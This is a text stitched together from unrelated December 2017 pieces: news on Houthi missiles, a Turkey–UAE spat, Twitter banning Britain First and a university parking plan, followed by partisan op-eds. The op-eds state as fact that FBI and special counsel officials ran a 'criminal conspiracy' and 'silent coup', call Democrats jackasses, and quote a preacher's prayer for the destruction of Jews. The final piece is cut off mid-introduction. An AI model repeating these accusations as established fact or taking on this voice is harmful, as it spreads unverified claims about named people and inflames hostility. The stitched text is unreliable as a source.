I think the Houthis wanted to make a statement that they are still up and running and that they are still fighting, despite the fact that in recent days and weeks there have been allegations that the Houthis have been weakened by the split with [late ex-Yemeni President] Ali Abdullah Saleh and that they possibly would not be able to shoot missiles further into Saudi territory  but they proved otherwise, Andreas Krieg, a defence analyst, told Al Jazeera.

Previous attacks

It was the third time since November that a missile had been launched from Yemen towards Saudi Arabia.

On November 4, a missile was launched towards an area near Riyadhs King Khalid International Airport, prompting Saudi to accuse Iran  who it blamed for the launch  of committing an act of war.

Another missile likely targeted the city of Khamis before it was intercepted on December 1.

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US Security firm Stratfor has reported that Houthi-owned missiles are most likely modifications of missiles previously in the Yemeni arsenal.

In pictures, the missiles appear to be similar in shape and dimensions of Scud missiles. Yemeni forces are likely modifying Scud missiles in the same way North Korea, Iran and Iraq did before them, it said in a report earlier this year.

Yemen amassed a large stockpile of Scud missiles when North Yemen and South Yemen reunified in 1990.

In the years that followed, Yemen also acquired similar weaponry from North Korea, purchasing Hwasong-6 missiles, which have a range of up to 550km.

Houthis threaten to escalate attacks

In an interview with Al Jazeera in November, Mohammed Abdul Salam, a Houthi spokesman, threatened that the rebels would escalate operations on the Yemeni-Saudi border and attack targets deep inside the kingdom.

The Saudis started the war. Our response will continue and increase, whether its targeting deep inside Saudi Arabia, targeting military positions where Saudi jets fly from, or military bases inside Yemeni territory, Abdul Salam said.

Dozens of smaller missiles have been fired from Yemen into Saudi Arabia throughout more than two years of war in Yemen, while Saudi Arabia, supported by the United States and other countries, has launched thousands of air attacks against Houthi targets.

The Saudi government has accused regional rival Iran of smuggling missiles and technology to the Houthis, an allegation Tehran denies.

The war in Yemen has created what the UN describes as the worlds worst humanitarian crisis, killing at least 10,000 civilians and leading to widespread hunger and disease.
Turkey has accused the United Arab Emirates of spreading divisive propaganda after its foreign minister retweeted a post denouncing President Recep Tayyip Erdogans ancestors for their treatment of Arabs during the Ottoman Empire.

Abdullah bin Zayed Al Nahyan, UAE foreign minister, had shared on Twitter a post that accused Fahreddin Pasha  an Ottoman governor of Medina from 1916-1919  of committing crimes against the local population, including stealing their property.

These are Erdogans ancestors and their past with the Arabs, it said.

The Turkish newspaper Daily Sabah quoted presidential spokesman Ibrahim Kalin taking Nahyan to task for the retweet, accusing him of a propaganda lie that seeks to turn Turks [and] Arabs against one another.

It was Fahreddin Pasha who bravely defended Medina against the British plans then. Is attacking President Erdogan at all costs the new fashion now? Kalin asked.

   1916                    ( )

          .        pic.twitter.com/lEynzANQiV  .   (@ali11iraq) December 16, 2017

The pro-government paper noted the UAE has been accused of supporting plots in Turkey against the Turkish government, as well as Ankaras role in the broader region.

Turkey has come to the aid of Qatar after an Arab quartet  Saudi Arabia, UAE, Bahrain, and Egypt  imposed a blockade on Qatar on June 5 after accusing it of supporting extremism and their regional rival Iran.

Qatar has vehemently denied all allegations.

Turkey has built a military base in Qatar and deployed soldiers there, as well as supporting the Arab Gulf state with necessary products blocked from entering by the four countries.
Network suspends accounts of Britain First leaders Jayda Fransen and Paul Golding as it enforces new abuse rules.

Twitter has suspended accounts belonging to the far-right group Britain First and its leaders Jayda Fransen and Paul Golding, just weeks after US President Donald Trump shared tweets posted by Fransen on his personal account.

The move came a day before British MPs, who are part of the Home Affairs Committee, were set to discuss the role social media plays in influencing hate crime.

Accounts and posts made by the group were deleted on Monday as part of the social media networks updated policy to combat hateful conduct and abuse on the platform.

Trump was slammed in late November after he retweeted three anti-Muslim posts by Fransen.

The retweets earned rare rebuke of the US leader from British Prime Minister Theresa May.

So @Twitter finally suspend Britain First  the day before social media cos appear at @CommonsHomeAffs .Why does it take a Parliamentary hearing to make them do the right thing? https://t.co/WcpCJ1IMlE  Yvette Cooper (@YvetteCooperMP) December 18, 2017

Britain First seeks to divide communities by their use of hateful narratives that peddle lies and stoke tensions. They cause anxiety to law-abiding people, May said in response to the incident.

At least one of the tweets shared by Trump, a still from a video purportedly featuring a Muslim migrant assaulting a Dutch teenager, was called out as false.

Dutch media outlets pointed out that the perpetrator of the assault was neither a Muslim or a migrant, as claimed by Fransen.

Trumps promotion of Britain First material led to renewed calls among Twitter users for the platform to take action against racial and religious abuse.

Purged from Twitter so far:  Hunter Wallace (League of the South)

 Michael Hill (League of the South)

 Jayda Fransen (Britain First)

 Paul Golding (Britain First)

 Jared Taylor

 American Renaissance

 Traditionalist Worker Party  Casey Michel  (@cjcmichel) December 18, 2017

Fransen and Goldings were among several far-right and white supremacist accounts suspended by Twitter this week, which appeared to come as a result of the platforms updated policy.

On Monday, Twitter began enforcing new rules regarding individuals and groups that promote hateful and other abusive behaviour on and off the platform.

Accounts that affiliate with organisations that use or promote violence against civilians to further their causes will be in violation of the platforms policies, Twitter said in a statement.

It said it was cracking down on content that glorifies violence or the perpetrators of a violent act and any account that abuses or threatens others through their profile information.

Twitter also said it would not tolerate hateful imagery, which includes logos, symbols, or images whose purpose is to promote hostility and malice against others based on their race, religion, disability, sexual orientation, or ethnicity/national origin.

Others accounts affected by the crackdown included US-based groups, such as Vanguard America and the American Nazi Party.

Facebook page

Britain First continues to operate on Facebook, where it has almost two million likes and continues to share objectionable content.

A Buzzfeed report in late 2016 showed how the group had paid Facebook thousands of pounds to get its content promoted on user timelines.

Twitter suspends hate preachers and Britain First leaders Paul Golding and Jayda Fransen. All I want to know is what took them so long? But its better late than never!!  Parveen (@Parveen_Comms) December 18, 2017

The groups vast online following, however, has not translated into bigger crowds at the anti-Islam protests it organises, which usually draw only a few dozen supporters.

Britain First came to prominence in the UK after the murder of the MP Jo Cox in the week preceding the June 2016 referendum to leave the European Union.

The opposition Labour party politician was a vocal supporter of immigration and refugee rights and had been campaigning for the UK to remain in the bloc when she was stabbed and shot by a white supremacist.

Her killer, Thomas Mair, was heard shouting Britain first by witnesses.
UF officials approved a plan to construct a 1,950-space parking garage, and construction could start as early as next December.

The lot, for graduate-student parking, will add about 900 spaces and is expected to be completed by January 2020.

The UF Board of Trustees approved the construction of the parking garage during a board meeting held at Emerson Alumni Hall on Friday. Pending on the Board of Governors approval, the garage will be built on the existing parking lot located on Gale Lemerand Drive and could cost a maximum $34.2 million to build, UF spokesperson Janine Sikes wrote in an email.

The garage will expand the lot from 1,064 spaces to 1,950 spaces, Sikes said. Only graduate students, faculty and staff will be able to access it.

The board decided on the expansion to make room for 500 new employees, Sikes said.

It is imperative we augment campus parking, which will be needed to address existing (demand) and increased demand, Sikes said.

Additionally, the board approved a raise for graduate assistant employees, as part of a three-year Collective Bargaining Agreement between the UF Board of Trustees and Graduate Assistants United.

The agreement includes a $1,000 stipend increase and wage raises for graduate assistants, starting January. The cost of Gator Grad Care, a health insurance plan, will also reflect similar employee compensations.

The board also approved a new Doctor of Musical Arts degree to be offered by the UF School of Music as part of an effort to create an innovative, close-knit community of about 15 students by the programs fifth year.

The degree will offer a unique twist on a traditional music education, through a required concentration of study outside students chosen musical specialty, such as business, digital arts, medicine or engineering, said Kevin Orr, director of the School of Music.

Theres evidence of market need and strong salary potential, Orr said. We believe our graduates will be very competitively positioned for well-paying jobs in growing markets.

The program wont add any additional costs to the School of Music due to the redistribution of graduate funds, Orr said.

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Wade Fitzgerald, a UF music junior, said the degree is a practical idea.

Musicians tend be really creative thinkers, the 20-year-old said. If they can apply that creativity to other fields, thats also really good.

Contact Elliott at enasby@alligator.org. Follow Elliott at @_ElohEl.
History has a way of coming full circle. When Democrat Andrew Jackson ran for president in 1828, he was called a jackass for his populist views. Todays populist is a Republican. Yet the jackass, or donkey, has remained associated with the Democrats, and appropriately so. For confirmation, just watch Nancy Pelosi, Maxine Waters, Adam Schiff or any of the other braying Democrats.

If Democrats are tired of being associated with a jackass, I have a suggestion as a new party symbol. As an aside, if anyone feels triggered by my use of the word jackass, The words donkey and 'ass' are used interchangeably to speak of the same species of animal.

My suggestion is a boomerang, a hunting weapon of indigenous Australians. Designed to be thrown and returned to the thrower. Democrats are learning to throw the boomerang as well as any Aboriginal hunter in the Outback.

Democrats have always professed to be the champions of women. In every major election, we hear about the Republican war on women. Donald Trump as a misogynist pig. Mitt Romney with his binders of women. Exceptions being the women left to drown by Ted Kennedy or those raped or harassed by Bill Clinton. Those women dont count as they were only following the hundred-dollar bill James Carville dragged through the trailer park.

The last election had a war on women October surprise, the Access Hollywood tape. Candidate Trump talking about what famous men can do, hypothetical, not actual. His accusers, perhaps on the payroll of Lisa Bloom, or her mother Gloria Allred, were discredited by eyewitnesses and Candidate Trump became President Trump, despite the protestations of the Im With Her crowd.

The boomerang was thrown. It missed its intended target but returned to the thrower. Spinning wildly, decapitating Democrats left and right. Starting with Harvey Weinstein. Kevin Spacey, Al Franken, John Conyers, and Matt Lauer, along with a bunch of other Democrats. Those throwing the boomerang for years found it returning full speed toward their own heads.

They tried again with Roy Moore. Perhaps their accusations, despite the admitted yearbook forgery, may have taken out Moore. But Moore was a mediocre candidate, uninspiring and mounting a lukewarm defense of the accusations. The Democrats got their short-term win but the returning boomerang doesnt give them the issue they hoped for, that Roy Moore is Donald Trump. And now little chance to salvage Al Frankens career.

The dam may be breaking, with other members of Congress ready to be outed. Im sure some will have an R after their name, but Ill bet most have a D after their name. Boomerang returning to the thrower. Prominent Democrat pundits too, as MSNBCs Chris Matthews discovered this past weekend.

It wont stop with the randy men. Boomerangs are gender neutral, a Ze if you want to be politically correct in gender pronouns. A Kansas business executive, running for Congress as a Democrat, who happens to be a She was alleged to sexual harass and fire a He subordinate. Im waiting for CNN to ask Champion of Women Senator Kristen Gillibrand, for comment. Boomerang returning to sender.

Some really horrific stuff is happening too. A state representative in Kentucky committed suicide over sexual misconduct allegations which he adamantly denied. Accusations, while politically expedient, may destroy people, their lives and families. From Salem witches to Joe McCarthys communists, death by accusation. A modern day jaccuse. Boomerangs are used to kill animals. They can kill people too.

The other boomerang headed back to the Democrats is the nonsensical Trump worked with Russia to hack the election narrative. A scheme that Gregg Jarrett recently outlined quite clearly, An insidious plot unprecedented in American history was hatched within the FBI and the Obama Justice Department to help elect Hillary Clinton and defeat Donald Trump in the 2016 presidential election.

Only its not working. Donald Trump is still in the White House. Hillary is still peddling her book and wearing an ankle boot. Which for a broken toe is worn for four to six weeks. She has been wearing hers for two months. Unless the boot is hiding something else.

Instead, as I and others have opined, AG Jeff Sessions may not be asleep and instead is guiding, from a politically safe arms length distance, a massive swamp draining operation, cleaning out numerous bad players in the upper echelons of the FBI and DOJ. Deputy Rod Rosenstein may be wearing a white hat rather than a black hat, allowing Robert Mueller to chase Trump yet in actuality catch a bunch of partisans playing the dangerous game of sedition. The round trip boomerang.

Remember also that it was top Democrats that asked the DOJ to investigate FBI leaks surrounding James Comeys letter to Congress regarding Hillary Clintons emails. A week before the election, no less. As if a proper investigation could be done before the election.

In response, along with other reasons, the DOJ launched its own investigation via their Office of Inspector General. Beginning before Trump was even inaugurated, In response to requests from numerous Chairmen and Ranking Members of Congressional oversight committees. Careful what you wish for.

Investigators investigating the investigators. This may be provide the great reckoning, The Big Ugly, as Sundance calls it. Boomerang thrown and returning.

Last is the media, part and parcel of the Democrat Party. Pushing fake news stories to the point that they have little credibility. Throwing the boomerang repeatedly, from ABCs Brian Ross and the Flynn plea deal to Deutsche Bank and CNNs bogus story about Donald Trump Jr. and WikiLeaks. Only to have it return, smacking news organizations hard. And possibly ensnaring the leakers. To the point of big media being a joke and not taken seriously. Serving as a punching and tweeting bag for President Trump.

The boomerang effect. Some call it blowback, or karma. Or what goes around comes around. Democrats, in typical fashion, are over-reaching. Pushing a false narrative not because of their intrinsic goodness, but instead for political advantage. So much so that it comes back to bite them. Hard.

They dont learn from their mistakes, which reinforces the party symbol of a jackass. But given how Trump always seems to have the last laugh, and Democrats continue to shoot themselves in the foot, the boomerang may be a more appropriate symbol for the party.

Brian C Joondeph, MD, MPS, a Denver based physician and writer. Follow him on Facebook, LinkedIn and Twitter.
As Fox News has reported, Deputy FBI Director Andrew McCabe has rescheduled his testimony before the House Intelligence Committee with the Justice Department telling the network that it was due to a routine scheduling error. More likely it is due to the need for everyone to get their stories straight as the details of the fix that was in for Hillary Clinton are being, er unmasked and the details of the deep state coup against President Trump bubble to the surface from the depths of the swamp:

Fox News was told by those familiar with the matter that the intelligence committee is suspicious of the purported scheduling error. One source said they believe the schedule issue arose after Fox News' report Monday night on Department of Justice official Bruce Ohr. Ohr was recently demoted from one of his two senior posts. Fox News reported that Ohrs wife, Nellie Ohr, worked through last fall for Fusion GPS, which was behind the anti-Trump dossier McCabe has an Ohr problem, one congressional source said.

McCabe has many problems and is at the heart of the criminal conspiracy to protect Hillary and unseat President Trump. The Ohr problem relates to Bruce Ohr and his wife Nellie and their connections to Fusion GPS, the firm paid indirectly by the Clinton campaign and the DNC to work with former British spy Christopher Steele and Russian sources to put together a fake dossier likely used by the FBI to fraudulently obtain FISA surveillance warrants on Team Trump:

Fox reported on Monday that Nellie Ohr worked last year for Fusion GPS, which commissioned the dossier. The company investigated Donald Trump on behalf of the Clinton campaign and DNC. Bruce Ohr, a high-ranking Justice Department official, also has connections to both Fusion GPS and Christopher Steele, the former British spy hired by Fusion to conduct the investigation of Trump. Ohr met prior to the election with Steele. He met several weeks after Trumps victory with Simpson. It remains unclear what Ohr discussed during those meetings.

Another McCabe problem relates to FBI lead investigator in the Clinton probe, Agent Peter Strzok, whose text messages to his FBI mistress, Lisa Page, lend both intent and motive to the Clinton cover-up and the animus toward President Trump. A letter from Homeland Security Committee chairman Sen. Rob Johnson, R-Wis., shows McCabes role in the altering and drafting of the James Comey memo exonerating Hillary Clinton:

The letter reveals specific edits made by senior FBI agents when Deputy Director Andrew McCabe exchanged drafts of Comey's statement with senior FBI officials, including Peter Strzok, Strzok's direct supervisor, E.W. "Bill" Priestap, Jonathan Moffa, and an unnamed employee from the Office of General Counsel (identified by Newsweek as DOJ Deputy General Counsel Trisha Anderson) -- in what was a coordinated conspiracy among top FBI brass to decriminalize Clinton's conduct by changing legal terms and phrases, omitting key information, and minimizing the role of the Intelligence Community in the email investigation. Doing so virtually assured that then-candidate Hillary Clinton would not be prosecuted.

McCabe was the ringleader of the damage control team trying to fudge the evidence of Hillarys crimes and soften the tone of Comeys exoneration memo so there would be fewer questions when the fix was revealed. McCabe was also aware of Strzoks fears of a Trump victory and determination to undermine it:

Out of all the damning, politically charged anti-Trump text messages released, one text from Strzok to Page on August 15, 2016, raised the most suspicion. It referred to a conversation and a meeting that had just taken place in "Andy's" (widely believed to be Deputy FBI Dir. Andrew McCabe's) office. According to Rep. Jim Jordan (R-OH), Strzok had texted this: "I want to believe the path you threw out for consideration in Andy's office [break]... that there's no way he gets elected. I want to believe that... But I'm afraid we can't take that risk... We have to do something about it."

If McCabe had any honor, he would have dismissed Strzok instantly and revealed the corruption his words exhibited. But McCabe was part of the corrupt criminal enterprise.

McCabe was in a key position overseeing the investigation of Hillary Clintons scandalous and treasonous handling of classified emails on her private server, a position from which he could assist FBI Director James Comey in putting the fix in. As Judicial Watch notes:

Judicial Watch today released Justice Department records showing that FBI Deputy Director Andrew McCabe did not recuse himself from the investigation into former Secretary of State Hillary Clintons unsecure, non-government email server until Tuesday, November 1, 2016, one week prior to the presidential election. The Clinton email probe was codenamed Midyear Exam. While working as Assistant Director in Charge of the Washington Field Office, McCabe controlled resources supporting the investigation into former Secretary of State Hillary Clintons email scandal. An October 2016 internal FBI memorandum labeled Overview of Deputy Director McCabes Recusal Related To Dr. McCabes Campaign for Political Office, details talking points about McCabes various potential conflicts of interest, including the FBIs investigation of Clintons illicit server, which officially began in July 2015: While at [Washington Field Office] did Mr. McCabe provide assistance to the Clinton investigation? After the referral was made, FBI Headquarters asked the Washington Field Office for personnel to conduct a special investigation. McCabe was serving as [Assistant Director] and provided personnel resources. However, he was not told what the investigation was about. In February 2016 McCabe became Deputy Director and began overseeing the Clinton investigation. The Overview also shows if asked whether McCabe played any role in his wifes campaign, the scripted response was: No. Then-[Assistant Director] McCabe played no role, attended no events and did not participate in fundraising or support of any kind.

Of course, that statement was a lie. McCabe is a Democratic loyalist whose wife campaigned for state office in Virginia as a Democrat with heavy Democratic financial support. In fact, McCabes efforts on behalf of his wife are now the subject of multiple federal probes:

Acting FBI Director Andrew McCabe, a central player in the Russia election case, is the focus of three separate federal administrative inquiries into allegations about his behavior as a senior bureau executive, according to documents and interviews. The allegations being reviewed range from sexual discrimination to improper political activity, the documents show Circa reported Monday that former supervisory special agent Robyn Gritz, a decorated counterterrorism agent, has filed a sexual discrimination and retaliation complaint that names McCabe and other top FBI officials Gritz also filed a complaint against McCabe with the main federal whistleblower agency in April, alleging social media photos she found show he campaigned for his wifes Virginia state senate race in violation of the Hatch Act In addition, the Justice Department Inspector General is investigating allegations from Senate Judiciary Committee Chairman Charles Grassley, R-Iowa, that McCabe may not have properly disclosed campaign payments to his wife on his ethics report and should have recused himself from Hillary Clinton's email case.

McCabe is probably not a happy camper right now and certainly has no love lost for Michael Flynn, who was a potential witness on behalf of one of McCabes accusers. As PJ Media reports:

In 2014, Flynn, then director of the Defense Intelligence Agency, personally intervened on behalf of Supervisory Special Agent Robyn Gritz by writing a letter vouching for her on his official Pentagon stationary and offering to testify on her behalf. He also supported her case in a radio interview in 2015 The FBI, for its part, claimed that Gritz had become "underperforming, tardy to work, insurbordinate, possibly mentally ill or emotional and deserving of a poor performance review." Flynn argued just the opposite in his May 9, 2014 letter: SSA Gritz was well-known, liked and respected in the military counter-terrorism community for her energy, commitment and professional capacity, and over the years worked in several interagency groups on counter-terrorism targeting initiatives.

McCabe did not disclose Democratic contributions to his wifes campaign in Virginia in financial disclosure forms, donations that raise questions about both his integrity and objectivity. As Fox News Politics reports:

The records, obtained through a Freedom of Information Act request, show FBI Deputy Director Andrew McCabe left the box blank for wife Dr. Jill McCabe's salary, as a doctor with Commonwealth Emergency Physicians. And there is no documentation of the hundreds of thousands of campaign funds she received in her unsuccessful 2015 Virginia state Senate race. As first reported by The Wall Street Journal, Clinton confidant and Virginia Gov. Terry McAuliffe urged McCabes wife to run for statewide office shortly after news reports were published that Hillary Clinton used a private email server and address for all her government business while serving as secretary of State. For the reporting period of October through November 2015, McCabe's campaign filings show she received $467,500 from Common Good VA, a political action committee controlled by McAuliffe, as well as an additional $292,500 from a second Democratic PAC.

Connect those dots, Democrats and others looking for Russians hiding under Republican beds. We have a Deputy FBI Director, Andrew M cCabe, campaigning for his wife, who receives huge sums of money from the Democratic Party of Clinton political ally Terry McAuliffe. After Clinton blames Russia for her election loss, Flynn becomes a target of an FBI probe in which his identity is illegally unmasked. He was a character witness on behalf of one of McCabes accusers. Was Mrs. McCabes largesse a quid for a future quo? Was Flynns unmasking McCabes revenge?

An unindicted coconspirator in the pro-Hillary and anti-Trump conspiracy is Special Counsel Robert Mueller, leading a team of Clinton lawyers and donors, running an investigation which began with no crime and has found no proof of any collusion between Team Trump and Russia. So desperate has he become that he has cast any remaining ethics aside and should be removed. As Fox News Greg Jarrett writes:

Special Counsel Robert Mueller is accused of acting in complete disregard for the law and must be removed. And so, too, must his entire team. There is devastating new evidence to suggest that Mueller and his staff of lawyers improperly, if not illegally, obtained tens of thousands of private documents belonging to President-elect Trump's Presidential Transition Team (PTT). The material includes emails, laptops and cell phones used by 13 PTT members. Critically, a "significant volume of privileged material" was taken by Mueller, according to the Trump transition lawyer, and then used by the special counsel team in its investigation. Mueller's staff apparently admits this egregious violation, which the law strictly forbids. Under the law, the only remedy is Mueller's dismissal from the case The Presidential Transition Act states that all records of transition operations are private and confidential. On November 16, 2016, roughly ten days after Trump was elected president, the Chief Records Officer of the U.S. Government sent a letter to all federal agencies reminding them that "the materials that PTT members create or receive are not Federal or Presidential records, but are considered private materials." Yet Mueller seems to have ignored the law. Without a warrant or subpoena, his team of lawyers brazenly demanded these private records from the General Services Administration (GSA) which held custody of the materials. The GSA does this as a service to all incoming presidents out of courtesy, but it neither owns the documents nor is authorized to release them to anyone under any circumstances because they are deemed entirely private.

Robert Mueller, like Andrew McCabe and the rest of the anti-Trump criminal conspirators, consider themselves above the law and on a divine mission to unseat Trump. Muellers conflicts of interest, starting with his relationship with James Comey, are well documented. His role, along with Deputy Attorney General Rod Rosenstein, in covering up the FBIs early investigation into Russias nuclear bribery in the Uranium One case are also a matter of public record.

McCabe and Mr. Mueller are the leaders in the criminal conspiracy of the century, a silent coup against a sitting president that does indeed make Watergate look like a third-rate burglary.

Daniel John Sobieski is a free lance writer whose pieces have appeared in Investors Business Daily, Human Events, Reason Magazine and the Chicago Sun-Times among other publications.
Theres a chin-stroker piece up at American Greatness by John Fonte asking whether conservatives should be a nice well-behaved opposition, as proposed by Yuval Levin, or a revolutionary vanguard, as proposed by Victor Davis Hanson. Fonte reminds us that back in the day it was William F. Buckley, Jr. proposing the radical option with his manifesto of standing athwart history, shouting Stop!

Well, I thought that Donald Trump had decided for us all, that we were not going to be nice any more, but get in liberal faces.

But if we are a revolutionary vanguard, what comes next? The answer is obvious: we go for the womens vote.

Now according to my theory of male and female culture, gotten from James Bowmans Honor, A History, men have a Culture of Insult, which derives from the male honor code of bravery, and women have a Culture of Complaint, which derives from the female honor code of chastity.

Brilliantly, Trump herded the white working-class males into the GOP column with his 2016 Campaign of Insult. So obviously the next step is to herd in the ordinary straight middle-class women with a Campaign of Complaint.

Okay, Im a guy. I dont have a clue how a Campaign of Complaint would work. I think that is a job for our magnificent conservative wives and mothers.

But here is what this campaign would amount to: Make Marriage Great Again.

A hundred years after women getting the vote, 50 years after the sexual revolution, 40 years after abortion on demand, what do women want? Perfectly simple. They want two things. The first is safety, as in safe spaces. And the second is fidelity, as in the complaint of Mattress Girl that you dont get to dump me, pal, after a couple romps in the hay, not if you know what is good for you.

So nothing has changed.

It seems to me that there is an astonishing human institution that we are all familiar with, that tries and usually succeeds in accommodating the human females deep-seated desire for safety and a committed relationship. We call that institution Marriage.

Forget I am woman; hear me roar. Girls just want to be safe, like Salma Hayek who wants to be safe from Weinstein The Monster. Forget the sexual free-for-all. Matt Lauers one-time production assistant was still heartbroken when Matt called it off and she realized that she was not the love of his life, but just a nice bit of crackling, as they used to say in Britland in my youth, a Ruby Ruggles to Sir Felix Carbury.

You tell me: what institution protects women that want to be safe in long-term relationships?

Speaking of Carbury, the problem is not just villainous cads like him and Lauer. The whole point of Trollopes The Way We Live Now, available on DVD, is the utter unreliability of young men where women are concerned. Its not just the wastrel Carbury but the books hero Paul Montague. Even good guy Paul gets himself tied up in knots with too many women to suit the pure and matchless heroine Hetta Carbury.

Here we are after the sexual revolution, the divorce revolution, the abortion revolution and I have a question for you ladies: How does it make you feel? Not good? I thought so.

Its not hard to see why. The sexual revolution makes it hard to women to test the fidelity of men since it removes her argument for chastity; the divorce revolution makes it hard for women because single women of a certain age are not much in demand; the abortion revolution makes it hard for women to say no when the partner in your bed wants to get rid of it.

I was talking with a good liberal woman the other evening and she seemed to think that now we were finally dishing the patriarchy and making it shameful for men to use their power over women.

Well, maybe so, but did men really have their wicked way with women more in the old days, or right now? The testimony of 19th-century authors like Austen, Eliot, Trollope, and Hardy suggests that, contra the feministas, respectable women were usually pretty safe, unlike today, and were usually protected from two-timing cads and bounders, unlike today. Working class women were often characterized in these books as maniacs for respectability.

So now that, ding, dong, the wicked Bill is dead, liberal women have discovered that they want the same thing that deplorable women do. But there is one problem. The minds of liberal women are so bollixed up with the 150 years of left-wing dialectics that it will take them a generation to realize that what they want after all is Marriage.

So look for some political genius to gen up a new politics that will, expressed with a proper feminine sensibility, Make Marriage Great Again.

Christopher Chantrill @chrischantrill runs the go-to site on US government finances, usgovernmentspending.com. Also get his American Manifesto and his Road to the Middle Class.
Qatars purposeful support of the Muslim Brotherhood, Iran, Turkey, and radical Islamist terrorist groups led Saudi Arabia, Bahrain, Egypt, and the UAE to cut all ties with the Emirate last June. Indeed, it was no secret that "Qatar has a long history of harboring terrorist operatives and financing various extremist groups, including Hamas, the Taliban, al Qaeda, the al-Nusra Front, and the Muslim Brotherhood.

Nonetheless, Qatar has been protesting and arguing ever since that the blockade violates international law and human rights. But the Anti-Terrorist Quartet (ATQ) has put Qatar on their terror finance watchlist and banned major Qatari charities. Among the terrorist-supporting charities named, is Qatar Charity that advertises its mission is "to participate in the preservation of Islamic culture through the construction of mosques. We spread our Islamic teachings with the world, and we invite you to be part of it in this achievement." But the QC -- that nations and one of the Arab Worlds largest charities -- has long been known to fund the very same extremists Islamists terror groups listed by the ATQ.

The ATQ designation was met with a furious reaction in Doha, where the allegations were rejected out of hand. It was stated that Qatar's Ministry of Social Affairs evaluated all Qatar's charities, "and monitors every penny they receive and send." It was claimed that "Since its establishment in 1984, [it was actually founded in 1982] Qatar Charity (QC) has sponsored 213,750 young orphans into adulthood, and has built more than 621 schools worldwide." The argument hardly countered the four-nation claim. Still, it was noted that in 2014, QC was ranked first by the United Nations for its relief efforts in the Syrian, Palestinian, and Somali crises. Of course, there was no mention of Qatar's involvement in the overthrow of the Qaddafi regime in Libya.

That was followed by $550,000 to aid Libyan refugees. However, a map provided by the QC itself that enumerates its historic activity around the world shows no activity at all in Libya. Before the overthrow of the Qaddafi regime, in February 2011, the QC allocated $960,000 for "humanitarian aid for Libyans, and for the "hundreds of thousands of people who have been facing the wrath of the Libyan leader Muammar Gaddafi and his close aides." It also provided significant funding for Libyan refugees in southern Tunisia and Egypt.

The fact that Qatar played a pivotal role in the elimination of the Gaddafi regime and the chaos that emanated from the so-called Arab Spring that impacted Tunisia, Libya, Egypt, Syria, and Gulf State nations has never received the attention in the West that it deserves. And the QC statement that "Since the start of the Syrian war more than six years ago, Qatar Charity has helped about eight million Syrians, a dubious claim at best, was never questioned.

Qatars denial of funding terrorism was immediately supported by the UN. A spokesman for UN Secretary-General Antonio Guterres stated that the organization was "not bound by Saudi Arabia's 'terror list.'" Rather, it was argued that the Qatar Charity had been "ranked first by the UN for its relief efforts in the Syrian, Palestinian and Somali crises." It was noted that Qatar Charity partnered with the UNHCR, UNICEF, and the World Food Program, and with such private charities like Oxfam, CARE, and USAID. In sum, the UN responded that "The UN is bound only by the sanctions lists put together by UN organs such as the Security Council. We're not bound by any other lists."

Not surprisingly, the Guterres statement was rewarded by Qatar in August 2017 with a $8.5m donation to the UN "to finance aid workers on the ground in Syria." It was the sort of donation -- supposedly with no strings attached -- that the UN loves and nations use to burnish a tarnished reputation.

Earlier, in the aftermath of the Riyadh Summit last May, U.S. Secretary of State Rex Tillerson visited Doha and praised Qatar for signing a separate "memorandum of understanding" outlining Qatar's "future efforts to disrupt financing for terrorists."

Sheikh Eid Bin Mohammad Al Thani and his Charitable Association (or Foundation) (EID Charity), were also banned last June by the ATQ. The EID Charity was established in 1995 in Doha, Qatar, and since then has expanded its operations to at least 60 countries.

In Canada, EID Charity has been known for its involvement in teaching and training imams and preachers. A Canada Revenue Agency audit (Oct. 1, 2010 to Sept. 30, 2013 ) of the Islamic Society of British Columbia alleged the charity was controlled or influenced by the Qatari EID Foundation that is accused of supporting terrorism.

The Islamic Society operates the Masjid Al-Hidayah and Islamic Cultural Centre in Port Coquitlam, British Columbia. The organizations connection to and possible control by the Eid Foundation is particularly concerning given that publicly available information indicates that the Eid Foundation is alleged to have provided support to terrorism, the CRA Charities Directorate wrote, according to Global News report. Our research indicates that the Eid Foundation is a member organization in the Union of Good, a global coalition of Islamic charities operated by Hamas, a listed terrorist entity in Canada.

In 2011, Eid Charity donated 385,000 QAR (about $1.4 million) for purchasing Mississauga-based Dar Al-Tawheed Islamic Centre and Safa and Marwa Islamic School. Five years later, in January 2016, it was Ibrahim Hindy, the imam of Dar Al-Tawheed Islamic Centre, known for publicly expressing support of all Mujahedeen to advance jihad everywhere, who went to Qatar on a fundraising mission. Later that year he hosted Sheikh Nashat Ahmad, an Egyptian Salafist preacher, who was arrested in Egypt for urging support of Mujahedeen carrying out global jihad and has also justified the 9/11 attacks.

According to Al Jazeera Center for Studies, Sheikh Nashat Ahmad is famous for his fiery sermons against the enemies of Islam and his support for re-establishing the Islamic Caliphate. On January 2, 2016, he recited the following supplication (originally in Arabic) [O Allah] give victory to our brother in Greater Syria, Iraq, Egypt, Libya, Burma, Mali, Yemen and other Muslim countries... O Allah, take revenge of the enemies of Your religion. O Allah, destroy the Jews and all others who support them in countries around the world... O Allah, destroy the Russians, Hindus, Shiites Communists, destroy all those who attacked the Muslims. O Lord, count their number; slay them one by one and spare not one of them. O Allah, purify the Muslims lands from their filth and squalor, O Allah liberate the imprisoned Al-Aqsa [mosque].

As Qatar continues to deny its involvement with Islamist extremists and complains about the hardship caused by the June blockade, its Minister of Awqaf and Islamic Affairs, Dr. Ghaith bin Mubarak Al Kuwari, has bragged that Qatari Dawa (proselytization) programs are expanding, and noted that the Qatari-sponsored Muslim Brotherhood's multi-language Islamweb has increased and its audio reached about 3bn, listeners.

In Washington, White House national security adviser, General H.R. McMaster, declared, Turkey had joined Qatar as a prime source of funding that contributes to the spread of extremist ideology. The general went on to state We didnt pay enough attention to how extremist ideologies were being advanced through madrassas and mosques, and so-called charities more broadly. However, no announcement was made on forthcoming sanctions against either Turkish or Qatari charities.
This article from AP is just pure propaganda, and it's being reprinted throughout the United States. Pundits from the Washington Post, the New York Times, and other outlets have different versions of the same garbage that is being written to indoctrinate the public about how bad tax reform is. The media have been bombarding the public with regurgitated Democrat talking points throughout the process, while they have continued to say that the reform has been done in secret.

The article says poor New York and other states may have to cut services because people in high-tax states won't get to deduct their high property taxes and income taxes.

From the article:

